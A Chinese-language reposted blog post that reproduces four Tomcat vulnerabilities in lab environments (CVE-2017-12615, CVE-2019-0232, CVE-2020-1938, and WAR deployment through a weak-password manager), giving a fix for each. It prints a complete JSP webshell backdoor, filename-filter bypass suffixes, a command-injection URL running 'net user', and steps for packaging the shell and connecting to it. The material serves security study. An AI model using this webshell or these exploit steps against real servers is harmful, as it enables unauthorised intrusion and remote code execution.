常见中间件——Tomcat漏洞复现分析

2023-11-02

Tomcat 任意文件写入(CVE-2017-12615)

影响范围: Tomcat 7.0.0-7.0.81(默认配置)

测试环境:Apache Tomcat v8.5.39

漏洞本质

Tomcat配置文件/conf/web.xml 配置了可写(readonly=false),导致我们可以往服务器写文件
如果配置了默认servlet,则在9.0.1(Beta),8.5.23,8.0.47和7.0.82之前的所有Tomcat版本都包含所有操作系统上的潜在危险的CVE-2017-12615漏洞

docker打开环境https://github.com/vulhub/vulhub
在这里插入图片描述

docker ps
docker exec -ti 9eb90787a80f bash
cat conf/web.xml | grep readonly

在这里插入图片描述

原因

可以看到Tomcat配置文件/conf/web.xml 配置了可写(readonly=false)

抓个包,修改一下数据包改成put,写入一个jsp文件

可以看到成功写入任意文件
在这里插入图片描述
在这里插入图片描述

既然可以写入任意文件,那也可以写入后门来getshell

jsp木马

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

在这里插入图片描述

如存在过滤

绕过方式:

文件后缀加/ ( 应用系统中 /在文件名中是非法的,会被自动去除)
文件后缀加::$DATA
文件后缀加&20 (windows不允许空格结尾

修复建议

将readonly=true,默认为true。

Tomcat 远程代码执行(CVE-2019-0232)

影响范围:9.0.0.M1 ~ 9.0.17 , 8.5.0 ~ 8.5.39 , 7.0.0 ~ 7.0.93

测试环境:Apache Tomcat v8.5.39(apache V8.5.39)、windows

漏洞本质

CVE-2019-0232漏洞是由于Tomcat CGI将命令行参数 传递给Windows程序的方式存在错误,使得CHIServler被命令注入影响。该漏洞只影响Windows平台,要求启用了CGIServlet和enableCmdLineArguments参数但是CGIServlet和enableCmdLineArguments参数默认情况下都不启用

376行和419行取消注释并添加参数

在这里插入图片描述
在这里插入图片描述

<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>

在这里插入图片描述
在这里插入图片描述

在content.xml 19行处添加privileged属性为true
在这里插入图片描述

在Tomcat\webapps\ROOT\WEB-INF新建cgi目录,并创建xxx.bat文件,名字内容任意。

bin目录下startup.bat 开启tomcat服务

访问http://your-ip/cgi-bin/test.bat?&C:/Windows/System32/net+user,执行net user 命令
(net命令的路径要写全,直接写net user,Tomcat控制台会提示net不是内部命令,也不是可运行的程序,另 必须使用+号连接,使用空格,%2B都会执行失败,控制台报错。)
在这里插入图片描述

修复建议

这个默认是关闭的,如果打开了请关闭,若需使用请升级版本。

Tomcat 文件包含漏洞(CVE-2020-1938)

影响范围:7 ~ 7.0.099 、8 ~ 8.5.50 、9 ~ 9.0.30

测试环境:Apache Tomcat v9.0.30

漏洞本质

由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下配合文件包含的利用还可以达到远程代码执行的危害
在这里插入图片描述

nmap扫到还有一个AJP端口8009正在监听

使用工具读取 web.xml文件
YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi: Tomcat-Ajp协议文件读取漏洞 (github.com)
在这里插入图片描述

(这里试了一下能不能通过文件包含实现RCE,但是只会读文件不会执行命令不知道怎么回事)

修复建议

将 Tomcat 升级到 9.0.31、8.5.51或 7.0.100 版本进行漏洞修复。如无法立即进行版本更新、或者是更老版本的用户,建议直接关闭AJPConnector,或将其监听地址改为仅监听本机localhost

Tomcat + 弱口令 && 后台getshell漏洞

环境:Apache Tomcat/7.0.94

在conf/tomcat-users.xml文件中配置用户的权限和一个弱口令tomcat/tomcat

Tomcat 7+的权限有:

manager(后台管理)

  • manager-gui拥有html页面权限
  • manager-status拥有查看status的权限
    manager-script拥有text接口权限(包括status权限)
    manager-jmx拥有jmx权限(包括status权限)

host-manager(虚拟主机管理)

  • admin-gui拥有html页面权限
  • admin-script拥有text接口权限
<tomcat-users>
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
</tomcat-users>

在这里插入图片描述

正常安装的情况下,tomcat7.0.94中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。

访问 http://127.0.0.1:8080/manager/html ,输入弱口令tomcat/tomcat进入后台(弱口令可以进行爆破)

在这里插入图片描述

写一个jsp的木马(见上),然后打包成war包,上传的war会被自动解压部署
jar -cvf shell.war shell.jsp

war包是用来进行Web开发时一个网站项目下的所有代码,包括前台HTML/CSS/JS代码,以及后台JavaWeb的代码。
当开发人员开发完毕时,就会将源码打包给测试人员测试,测试完后若要发布则也会打包成War包进行发布。
War包可以放在Tomcat下的webapps或word目录,当Tomcat服务器启动时,War包即会随之解压源代码来进行自动部署。

在这里插入图片描述

可以看到已经上传上去了,接着使用蚁剑连接后门127.0.0.1:8080/shell/shell.jsp

在这里插入图片描述

上传的位置在webapps里
在这里插入图片描述

修复建议

取消manager/html功能。若要使用,manager页面应只允许本地IP访问

转载

常见中间件——Tomcat漏洞复现分析

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

常见中间件——Tomcat漏洞复现分析 的相关文章

随机推荐

  • LeetCode 477. Total Hamming Distance

    题目链接 点击这里 题意 两个整数的 汉明距离 指的是这两个数字的二进制数对应位不同的数量 计算一个数组中 任意两个数之间汉明距离的总和 class Solution public int totalHammingDistance vect
  • Nginx 性能优化有这篇就够了!

    目录 1 Nginx运行工作进程数量 Nginx运行工作进程个数一般设置CPU的核心或者核心数x2 如果不了解cpu的核数 可以top命令之后按1看出来 也可以查看 proc cpuinfo文件 grep processor proc cp
  • 饼图、柱形图、堆积柱、折线图、散点图,到底应该怎么选?

    随着数字经济的发展 各行业的数据都出现了爆炸式的增长 如何快速从海量数据中提取出有效信息 最大化地挖掘数据价值 是所有转型的企业都在面临的问题 想要快速直观地以易于理解 内容简单的方式了解相关数据 就需要数据可视化来帮忙 数据可视化作为当今
  • 微前端总结

    微前端 核心价值 微前端架构具备以下几个核心价值 技术栈无关 主框架不限制接入应用的技术栈 微应用具备完全自主权 独立开发 独立部署 微应用仓库独立 前后端可独立开发 部署完成后主框架自动完成同步更新 增量升级 在面对各种复杂场景时 我们通
  • 限流-漏桶算法、令牌桶算法

    1 问题 系统的某个接口访问量突然激增 没多久接口崩溃 形成连锁反应 导致整个系统崩溃 如何应对这种情况呢 为我们的接口加上 保险丝 预防这种突发情况 接口压力过大 造成整个系统瘫痪 当接口流量过大时 我们可以通过拒绝访问或等待等机制 即限
  • 【Python 基础篇】Python中的 __name__ == ‘__main__’ 详解

    学习过C语言或者Java语言的盆友应该都知道程序运行必然有主程序入口main函数 而python却不同 即便没有主程序入口 程序一样可以自上而下对代码块依次运行 然后python不少开源项目或者模块中依然存在 name main 这种写法
  • avalonjs 中的if else实现的几种方法

    在学习avalonjs的过程中 发现模板中并没有if else这样的写法 不像tempalte ejs这些 所以总结了三种方法来实现 仅供在使用avalonjs的同学参考 主要是通过ms if 表达式和方法来实现 1 开始前的准备 首先是做
  • SparkSQL DSL 语法

    SparkSQL DSL 语法 DataFrame 提供一个特定领域语言 domain specific language DSL 去管理结构化的数据 可以在 Scala Java Python 和 R 中使用 DSL 使用 DSL 语法风
  • 模型解释性:PFI、PDP、ICE等包的用法

    本篇主要介绍几种其他较常用的模型解释性方法 1 Permutation Feature Importance PFI 1 1 算法原理 置换特征重要性 Permutation Feature Importance 的概念很简单 其衡量特征重
  • Linux下使用TCP协议完成一个简单的client-service通信

    最近学习了网络编程 简单分享一下自己学习的内容 TCP协议简介 TCP向应用层提供了一个可靠的 有序的 面向连接的 基于字节流的全双工的通信协议 它能提供高可靠性通信 即数据无误 数据无丢失 数据无失序 数据无重复 三次握手协议 TCP是面
  • 详解Java中的Base64原理跟用法

    简介 Base64编码 是我们程序开发中经常使用到的编码方法 它是一种基于用64个可打印字符来表示二进制数据的表示方法 它通常用作存储 传输一些二进制数据编码方法 也是MIME 多用途互联网邮件扩展 主要用作电子邮件标准 中一种可打印字符表
  • Qt源码重新编译QtMultimedia模块解决XP播放视频问题

    当用qml的MediaPlayer在XP系统下播放视频时 会报错 QtMultimedia defaultServiceProvider requestService no service found for org qt project
  • Mac和Linux远程连接服务器异常修复(WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!)

    一 今天在使用SSH 连接远程服务器的时候 刚开始是没问题的 后来阿里云主机重装了一下系统后 再也连不上了 一直报一个错 22 49 52 ssh root 47 98 233 15 WARNING REMOTE HOST IDENTIFI
  • centos 7.3 快速安装ceph

    Ceph简介 Ceph是一种为优秀的性能 可靠性和可扩展性而设计的统一的 分布式文件系统 部署逻辑架构 准备3台主机 并且修改主机名 hostnamectl set hostname xxx 后重启 IP地址 主机名 Hostname 19
  • Django模板使用ajax实现注册功能

    写一个很简单的注册功能的页面 一开始我是用form表单写的 写完之后 体验效果极差啊 每次刷新都会把数据提交到后台 这就导致我输入一条数据并点了提交 然后在这个页面刷新n次 就保存到数据库n次 具体原因不详 百度的时候据说是因为返回的时候还
  • public class的类名必须跟文件名保持一致吗?

    转载于 https www cnblogs com zxfei p 10685606 html
  • 660 39

    题干 初次解题思路 将原式中的x替换为t 原式和微分中的x都要代换 最后只保留y和t作为答案 关键在一阶 二阶导数这里 1 引入了第三个变量t 所以理解为参数方程求导 x y均为由t表示的函数 y 和y 可以作为最后结果出现在结果当中 2
  • discuz导入mysql_Discuz 导入mysql 出现#1062 - Duplicate entry '1' for key 'PRIMARY'

    展开全部 当mysql出现 ERROR 1062 错误时 查看字段的e68a843231313335323631343130323136353331333365643662属性是否合理 不合理 则修改该字段的属性 合理 则进行表的恢复 如下
  • MATLAB简单图形绘制(五)

    目录 实验目的 实验内容 实验目的 1 掌握MATLAB图形绘制的基本原理和方法 2 熟悉和了解MATLAB图形绘制程序编辑的基本指令 3 掌握利用MATLAB图形编辑窗口编辑和修改图形界面 并添加图形的各种标注 4 掌握plot subp
  • 常见中间件——Tomcat漏洞复现分析

    文章目录 Tomcat 任意文件写入 CVE 2017 12615 漏洞本质 原因 jsp木马 绕过方式 修复建议 Tomcat 远程代码执行 CVE 2019 0232 漏洞本质 修复建议 Tomcat 文件包含漏洞 CVE 2020 1